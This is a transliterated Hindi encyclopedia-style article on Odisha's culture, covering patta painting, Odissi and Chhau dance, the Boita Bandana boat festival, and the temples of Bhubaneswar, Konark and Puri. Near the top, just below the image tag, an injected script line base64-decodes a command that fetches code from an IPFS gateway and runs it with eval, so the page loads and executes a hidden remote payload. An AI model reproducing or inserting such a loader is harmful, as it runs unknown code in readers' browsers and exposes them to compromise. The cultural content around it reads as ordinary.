ओडिशा की संस्कृति

[[chitr:Pata-Chitra-Orissa.jpg|thumb|patt chitrakala, odisha]]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

odisha ki samriddh kalatmak virasat hai aur isane bharatiy kala evan vastushilp ke sarvashreshth udaharanoan ka srijan kiya hai. bhittichitroan patthar v lak di par naqqashi dev chitr (patt chitrakala ke nam se vikhyat) aur ta dapatroan par chitrakari ke madhyam se kalatmak paranparaean aj bhi qayam haian. hastashilp kalakar chaandi mean behad mahin jali ki kataee ki alankrit shilp kala ke lie vikhyat haian.

nrity

janajatiy ilakoan mean kee prakar ke lokanrity hai. madal v baansuri ka sangit gaanvo mean am hai. odisha ka shastriy nrity odisa 700 varshoan se bhi adhik samay se astitv mean hai. moolat: yah eeshvar ke lie kiya jane vala mandir nrity tha. nrity ke prakar, gati, mudraean aur bhav-bhangimaean b de mandiroan ki divaroan par, visheshakar konark mean shilp v ubhari huee naqqasi ke roop mean aankit haian, is nrity ke adhunik pravartakoan ne ise rajy ke bahar bhi lokapriy banaya hai. mayoorabhanj aur sarayakela pradeshoan ka chhoo nrity (mukhaute pahane kalakaroan dvara kiya jane vala nrity) odisha ki sanskriti ki ek any dharohar hai. 1952 mean katak mean kala vikas keandr ki sthapana ki gee, jisamean nrity v sangit ke protsahan ke lie ek chhah varshiy avadhi ka shikshan pathayakram hai. neshanal myoojik esosieshan (rashtriy sangit samiti) bhi is uddeshy ke lie hai. katak mean any prasiddh nrity v sangit kendr hai: utkal sangit samaj, utkal smriti kala mandap aur mukti kala mandir.

tyohar

odisha ke anek apane paranparik tyohar haian. isaka ek anokha tyohar aktoobar ya navanbar (tithi hiandoo panchaang ke anusar tay ki jati hai) mean manaya jane vala boita bandana (naukaoan ki pooja) anushtha hai. poornima se pahale lagatar paanch dinoan tak log nadi kinaroan ya samudr tatoan par ekatr hote haian aur chhote-chhote nauka roop tairate haian. jo isaka pratik hai ki ve bhi apane poorvajoan ki tarah sudoor sthanoan (maleshiya, iandoneshiya) ki yatra par nikaleange. puri mean jagannath (brahmaand ka svami) mandir hai, jo bharat ke sarvadhik prasiddh mandiroan mean se ek hai. yahaan hone vali varshik rathayatra lakhoan logoan ko akrisht karati hai. yahaan se kuchh hi kilomitar ki doori par bhagavan soory ke rath ke akar mean bana konark mandir hai. yah mandir madhyakalin u diya sanskriti ke utkrisht udaharanoan mean se ek hai.

u disa ke mandir

u disa mean athavian sadi se terahavian sadi ke madhy tak bane mandir bharatiy-ary vastukala ke aranbhik roop ki jhalak prastut karate haian. bhuvaneshvar mean anek mandiroan ka nirman hua, jisase ise 'mandiroan ka shahar' nam diya gaya. inamean sabase vilakshan shiv ko samarpit liangaraj mandir hai. garbhagrih ke oopar bane visal shikhar ka paravalayik vakr is shaili ka vishisht udaharan hai. yah manandir char kakshoan ki shrankhala ke roop mean pooja-archana, nrity, sabha aur garbhagrih ke lie banaya gaya hai.

bhuvaneshvar mean ek apekshakrit chhota kiantu atyant suandar mukteshvar mandir hai. ise pray: u disa ki vastukala ka ratn kaha jata hai. is mandir ka mahatv keval isake sauandary aur vastukala ki sarvaang sanpoornata mean hi nihit nahian hai, varanh yah u disa vastukala ke vikasakram mean aranbhik aur paravarti nirman shailoyoan ka mahattvapoorn sankraman biandu bhi hai.

puri ke nikat sthit konark ke soory mandir ko 'blaik pagoda' bhi kaha jata hai. yah uttar bharat ke vishal hiandoo mandiroan mean sabase pramukh aur aantim hai. ise u disa moortikaroan dvara vastukala ke sarvaang vidhanoan ke sath alankrit moortikala ke samanjasy prayasoan ke bhavy aur gauravashali charamotkarsh ke roop mean dekha ja sakata hai. samrat narasianh dev (1238-64) ee. dvara banavaya gaya yah mandir susajjit ashvoan dvara khianche jane vale aur vishal pahiyoan vale soory dev ke akasharath ki parikalpana par adharit hai. pithika manch aur pramukh kaksh ke agrabhag utkirnik chitravallariyoan se susajjit hai. jinamean prithvi par jivan ke anand aur soory ki oorja pradayi shakti-ark ko pratibimbit kiya gaya hai. konark mean utkirnik drishyoan mean premarat yugal ya mithun haian. halaanki in asankhy drishyoan ko ajnat shilpiyoan ne banaya hai, ye nakkashiyaan bharatiy kala ke sarvashreshth udaharanoan mean gini ja sakati haian aur inase saf pata chalata hai us samay bharat mean takaniki pradarshan aur kalatmak utpreran ka kitana uchch star raha hoga. durbhagyavash, yah mandir poora n ho saka aur is samay vah khandahar ki sthiti mean p da hai.

puri ka jagannath mandir tatha raja-rani ka mandir u disa vastushaili ke utkrisht namoone haian.

samanyat: u disa ke mandiroan mean stanbh nahian hota aur unaki chhatoan ko aanshik roop se lohe ke gardaroan par tikaya jata tha- yah ek mahattvapoorn takaniki navinata thi. in mandiroan ka bahm bhag to b di bhavyata se sajaya gaya hai, lekin aantarik bhag ko asajjit hi chho d diya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh